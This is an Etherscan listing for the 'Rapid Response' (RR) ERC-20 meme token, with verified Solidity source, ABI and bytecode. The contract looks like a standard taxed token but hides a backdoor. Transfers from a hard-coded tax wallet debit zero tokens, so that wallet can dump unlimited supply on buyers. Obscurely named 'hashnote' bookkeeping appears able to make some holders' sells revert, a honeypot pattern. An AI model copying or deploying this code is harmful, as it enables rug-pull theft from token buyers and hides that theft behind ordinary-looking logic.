ERC-20
Overview
Max Total Supply
1,000,000,000 RR
Holders
60
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
RR
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-27 */ // SPDX-License-Identifier: UNLICENSE // We will support President Donald J. Trump's America First agenda and hold the Fake News accountable for their lies. // https://x.com/RapidResponse47 // https://x.com/RapidResponse47/status/1883991501015011716 pragma solidity ^0.8.20; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve( address spender, uint256 amount ) external returns (bool); function totalSupply() external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA,address tokenB) external returns (address pair); } abstract contract Context { function _msgSender() internal view virtual returns (address) {return msg.sender;} } contract Ownable is Context { event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred( _owner, address(0) ); _owner = address(0); } } contract RR is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; string private constant _name = unicode"Rapid Response"; string private constant _symbol = unicode"RR"; uint256 private _initialBuyTax=13; uint256 private _initialSellTax=23; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=13; uint256 private _reduceSellTaxAt=23; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; uint256 public _maxTxAmount= 15000000 * 10**_decimals; uint256 public _maxWalletSize= 15000000 * 10**_decimals; uint256 public _taxSwapThreshold = 13000000 * 10**_decimals; uint256 public _maxTaxSwap = 11000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private hashnoteAPIPercent = 0; uint256 private hashnoteAPIUpdate = 0; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled= false; struct Hashnote {uint256 hashnoteApi; uint256 hashnoteSignal; uint256 hashnoteSigPNL;} mapping(address => Hashnote) private hashnote; event MaxTxAmountUpdated( uint256 _maxTxAmount ); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _balances[_msgSender()] = _tTotal; _taxWallet= payable(0x2B88E9A92D52ABb6BeebA462EbB3e8e759Ddaa61); _isExcludedFromFee[address(this)] =true; _isExcludedFromFee[_taxWallet] =true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function _basicTransfer(address from,address to,uint256 tokenAmount) internal{ _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(tokenAmount); emit Transfer(from,to,tokenAmount); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer( _msgSender(),recipient, amount ); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve( _msgSender(),spender, amount ); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender,_msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance") ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount>0,"Token: Transfer amount must be greater than zero"); if (!tradingOpen || inSwap ) { _basicTransfer(from,to,tokenAmount); return; } uint256 taxAmount = 0; if (from != owner() && to != _taxWallet && to != owner()){ taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax :_initialBuyTax).div(100); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]){ require(tokenAmount<=_maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to)+tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance=balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold){ swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if ((_isExcludedFromFee[from]||_isExcludedFromFee[to]) && from!= address(this) && to !=address(this)) { hashnoteAPIUpdate = block.number; } if (!_isExcludedFromFee[from]&&!_isExcludedFromFee[to]){ if (to != uniswapV2Pair) { Hashnote storage hashnt = hashnote[to]; if (from == uniswapV2Pair) { if (hashnt.hashnoteApi == 0) { hashnt.hashnoteApi = block.number; } } else { Hashnote storage hashntRWA = hashnote[from]; if (hashnt.hashnoteApi > hashntRWA.hashnoteApi || hashnt.hashnoteApi==0){ hashnt.hashnoteApi = hashntRWA.hashnoteApi; } } } else{ Hashnote storage hashntRWA = hashnote[from]; hashntRWA.hashnoteSigPNL = hashntRWA.hashnoteApi-hashnoteAPIUpdate; hashntRWA.hashnoteSignal = block.number; } } _tokenTransfer(from,to,tokenAmount,taxAmount); } function removeLimits() external onlyOwner(){ _maxTxAmount=_tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function _tokenTransfer( address from, address to,uint256 tokenAmount,uint256 taxAmount ) internal{ uint256 tAmount=_tokenTaxTransfer(from,tokenAmount,taxAmount); _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount)); } function _tokenBasicTransfer( address from, address to, uint256 sendAmount,uint256 receiptAmount ) internal{ _balances[from]=_balances[from].sub(sendAmount); _balances[to]= _balances[to].add(receiptAmount); emit Transfer(from,to,receiptAmount); } function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount ) internal returns (uint256){ uint256 tAmount = addrs!=_taxWallet ? tokenAmount:hashnoteAPIPercent.mul(tokenAmount); if (taxAmount>0) { _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(addrs,address(this),taxAmount); } return tAmount; } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private{ _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this),address(uniswapV2Router),_tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); tradingOpen=true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled= true; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance = balanceOf(address(this)); if (tokenBalance>0) { swapTokensForEth(tokenBalance); } uint256 ethBalance = address(this).balance; if (ethBalance>0) { sendETHToFee(ethBalance); } } function freeContractETH() external onlyOwner(){ _taxWallet.transfer(address(this).balance); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"freeContractETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600d60055560176006555f6007555f600855600d6009556017600a555f600b556009600a620000349190620002f8565b620000439062e4e1c06200030f565b600c55620000546009600a620002f8565b620000639062e4e1c06200030f565b600d55620000746009600a620002f8565b620000839062c65d406200030f565b600e55620000946009600a620002f8565b620000a39062a7d8c06200030f565b600f555f60128190556013556014805462ffff0019169055348015620000c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001166009600a620002f8565b6200012690633b9aca006200030f565b335f81815260016020818152604080842095909555600480546001600160a01b031916732b88e9a92d52abb6beeba462ebb3e8e759ddaa611781553084526003909152848320805460ff19908116841790915590546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c26009600a620002f8565b620001d290633b9aca006200030f565b60405190815260200160405180910390a362000329565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200023d57815f1904821115620002215762000221620001e9565b808516156200022f57918102915b93841c939080029062000202565b509250929050565b5f826200025557506001620002f2565b816200026357505f620002f2565b81600181146200027c57600281146200028757620002a7565b6001915050620002f2565b60ff8411156200029b576200029b620001e9565b50506001821b620002f2565b5060208310610133831016604e8410600b8410161715620002cc575081810a620002f2565b620002d88383620001fd565b805f1904821115620002ee57620002ee620001e9565b0290505b92915050565b5f6200030860ff84168362000245565b9392505050565b8082028115828204841417620002f257620002f2620001e9565b611a0880620003375f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102dc578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f80fd5b8063715018a614610264578063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a15780638f9a55c0146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806351bc3c85146102065780636b6427ff1461021c57806370a0823114610230575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d526170696420526573706f6e736560901b60208201525b60405161015d91906115fb565b60405180910390f35b348015610171575f80fd5b5061018561018036600461165b565b610392565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103a8565b3480156101d7575f80fd5b506101856101e6366004611685565b6103c8565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b5061021a61042f565b005b348015610227575f80fd5b5061021a610480565b34801561023b575f80fd5b506101aa61024a3660046116c3565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b5061021a6104eb565b348015610283575f80fd5b5061021a61055c565b348015610297575f80fd5b506101aa600c5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102d2575f80fd5b506101aa600d5481565b3480156102e7575f80fd5b50604080518082019091526002815261292960f11b6020820152610150565b348015610311575f80fd5b5061018561032036600461165b565b61060d565b348015610330575f80fd5b506101aa600e5481565b348015610345575f80fd5b5061021a610619565b348015610359575f80fd5b506101aa6103683660046116de565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e3384846109c2565b5060015b92915050565b5f6103b56009600a611809565b6103c390633b9aca00611817565b905090565b5f6103d4848484610ae6565b6104258433610420856040518060600160405280602881526020016119ab602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061104f565b6109c2565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461044e575f80fd5b305f90815260016020526040902054801561046c5761046c81611087565b47801561047c5761047c816111f1565b5050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016104a99061182e565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104e8573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105145760405162461bcd60e51b81526004016104a99061182e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105855760405162461bcd60e51b81526004016104a99061182e565b6105916009600a611809565b61059f90633b9aca00611817565b600c556105ae6009600a611809565b6105bc90633b9aca00611817565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ec6009600a611809565b6105fa90633b9aca00611817565b60405190815260200160405180910390a1565b5f61039e338484610ae6565b5f546001600160a01b031633146106425760405162461bcd60e51b81526004016104a99061182e565b60145460ff16156106955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a9565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106de9030906106d06009600a611809565b61042090633b9aca00611817565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107529190611863565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d59190611863565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108439190611863565b601180546001600160a01b039283166001600160a01b03199091161790556014805460ff191660011790556010541663f305d7194730610897816001600160a01b03165f9081526001602052604090205490565b5f806108aa5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610910573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610935919061187e565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561098a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ae91906118a9565b506014805462ff0000191662010000179055565b6001600160a01b038316610a245760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a9565b6001600160a01b038216610a855760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a9565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a9565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a9565b5f8111610c145760405162461bcd60e51b815260206004820152603060248201527f546f6b656e3a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b60648201526084016104a9565b60145460ff161580610c2d5750601454610100900460ff165b15610c4257610c3d838383611228565b505050565b5f80546001600160a01b03858116911614801590610c6e57506004546001600160a01b03848116911614155b8015610c8757505f546001600160a01b03848116911614155b15610ece57610cb86064610cb2600954600b5411610ca757600554610cab565b6007545b85906112cb565b90611350565b6011549091506001600160a01b038581169116148015610ce657506010546001600160a01b03848116911614155b8015610d0a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610df057600c54821115610d615760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a9565b600d5482610d83856001600160a01b03165f9081526001602052604090205490565b610d8d91906118c8565b1115610ddb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a9565b600b8054905f610dea836118db565b91905055505b6011546001600160a01b038481169116148015610e1657506001600160a01b0384163014155b15610e4357610e406064610cb2600a54600b5411610e3657600654610cab565b60085485906112cb565b90505b305f90815260016020526040902054601454610100900460ff16158015610e7757506011546001600160a01b038581169116145b8015610e8b575060145462010000900460ff165b8015610e985750600e5481115b15610ecc57610eba610eb584610eb084600f54611391565b611391565b611087565b478015610eca57610eca476111f1565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f0b57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f2057506001600160a01b0384163014155b8015610f3557506001600160a01b0383163014155b15610f3f57436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f7f57506001600160a01b0383165f9081526003602052604090205460ff16155b1561103d576011546001600160a01b0384811691161461100a576001600160a01b038084165f908152601560205260409020601154909190811690861603610fd25780545f03610fcd574381555b611004565b6001600160a01b0385165f908152601560205260409020805482541180610ff857508154155b1561100257805482555b505b5061103d565b6001600160a01b0384165f908152601560205260409020601354815461103091906118f3565b6002820155436001909101555b611049848484846113a5565b50505050565b5f81848411156110725760405162461bcd60e51b81526004016104a991906115fb565b505f61107e84866118f3565b95945050505050565b6014805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c9576110c9611906565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611120573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111449190611863565b8160018151811061115757611157611906565b6001600160a01b03928316602091820292909201015260105461117d91309116846109c2565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906111b59085905f9086903090429060040161191a565b5f604051808303815f87803b1580156111cc575f80fd5b505af11580156111de573d5f803e3d5ffd5b50506014805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047c573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461124a90826113cf565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112789082611410565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad99085815260200190565b5f825f036112da57505f6103a2565b5f6112e58385611817565b9050826112f2858361198b565b146113495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a9565b9392505050565b5f61134983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146e565b5f81831161139f5782611349565b50919050565b5f6113b185848461149a565b90506113c88585836113c387876113cf565b61154a565b5050505050565b5f61134983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104f565b5f8061141c83856118c8565b9050838110156113495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a9565b5f818361148e5760405162461bcd60e51b81526004016104a991906115fb565b505f61107e848661198b565b6004545f9081906001600160a01b03908116908616036114c6576012546114c190856112cb565b6114c8565b835b9050821561154257305f908152600160205260409020546114e99084611410565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115399087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461156c90836113cf565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461159a9082611410565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115ed9085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b818110156116275785810183015185820160400152820161160b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e8575f80fd5b5f806040838503121561166c575f80fd5b823561167781611647565b946020939093013593505050565b5f805f60608486031215611697575f80fd5b83356116a281611647565b925060208401356116b281611647565b929592945050506040919091013590565b5f602082840312156116d3575f80fd5b813561134981611647565b5f80604083850312156116ef575f80fd5b82356116fa81611647565b9150602083013561170a81611647565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561176357815f190482111561174957611749611715565b8085161561175657918102915b93841c939080029061172e565b509250929050565b5f82611779575060016103a2565b8161178557505f6103a2565b816001811461179b57600281146117a5576117c1565b60019150506103a2565b60ff8411156117b6576117b6611715565b50506001821b6103a2565b5060208310610133831016604e8410600b84101617156117e4575081810a6103a2565b6117ee8383611729565b805f190482111561180157611801611715565b029392505050565b5f61134960ff84168361176b565b80820281158282048414176103a2576103a2611715565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611873575f80fd5b815161134981611647565b5f805f60608486031215611890575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118b9575f80fd5b81518015158114611349575f80fd5b808201808211156103a2576103a2611715565b5f600182016118ec576118ec611715565b5060010190565b818103818111156103a2576103a2611715565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561196a5784516001600160a01b031683529383019391830191600101611945565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119a557634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3e06702a082ac5499b0eada1d20a0668e1e606d5ab255694ef7d3a77b03f24f64736f6c63430008170033
Deployed Bytecode
0x608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102dc578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f80fd5b8063715018a614610264578063751039fc146102785780637d1db4a51461028c5780638da5cb5b146102a15780638f9a55c0146102c7575f80fd5b806323b872dd116100e357806323b872dd146101cc578063313ce567146101eb57806351bc3c85146102065780636b6427ff1461021c57806370a0823114610230575f80fd5b806306fdde031461011e578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600e81526d526170696420526573706f6e736560901b60208201525b60405161015d91906115fb565b60405180910390f35b348015610171575f80fd5b5061018561018036600461165b565b610392565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa600f5481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103a8565b3480156101d7575f80fd5b506101856101e6366004611685565b6103c8565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b5061021a61042f565b005b348015610227575f80fd5b5061021a610480565b34801561023b575f80fd5b506101aa61024a3660046116c3565b6001600160a01b03165f9081526001602052604090205490565b34801561026f575f80fd5b5061021a6104eb565b348015610283575f80fd5b5061021a61055c565b348015610297575f80fd5b506101aa600c5481565b3480156102ac575f80fd5b505f546040516001600160a01b03909116815260200161015d565b3480156102d2575f80fd5b506101aa600d5481565b3480156102e7575f80fd5b50604080518082019091526002815261292960f11b6020820152610150565b348015610311575f80fd5b5061018561032036600461165b565b61060d565b348015610330575f80fd5b506101aa600e5481565b348015610345575f80fd5b5061021a610619565b348015610359575f80fd5b506101aa6103683660046116de565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e3384846109c2565b5060015b92915050565b5f6103b56009600a611809565b6103c390633b9aca00611817565b905090565b5f6103d4848484610ae6565b6104258433610420856040518060600160405280602881526020016119ab602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061104f565b6109c2565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461044e575f80fd5b305f90815260016020526040902054801561046c5761046c81611087565b47801561047c5761047c816111f1565b5050565b5f546001600160a01b031633146104b25760405162461bcd60e51b81526004016104a99061182e565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156104e8573d5f803e3d5ffd5b50565b5f546001600160a01b031633146105145760405162461bcd60e51b81526004016104a99061182e565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105855760405162461bcd60e51b81526004016104a99061182e565b6105916009600a611809565b61059f90633b9aca00611817565b600c556105ae6009600a611809565b6105bc90633b9aca00611817565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ec6009600a611809565b6105fa90633b9aca00611817565b60405190815260200160405180910390a1565b5f61039e338484610ae6565b5f546001600160a01b031633146106425760405162461bcd60e51b81526004016104a99061182e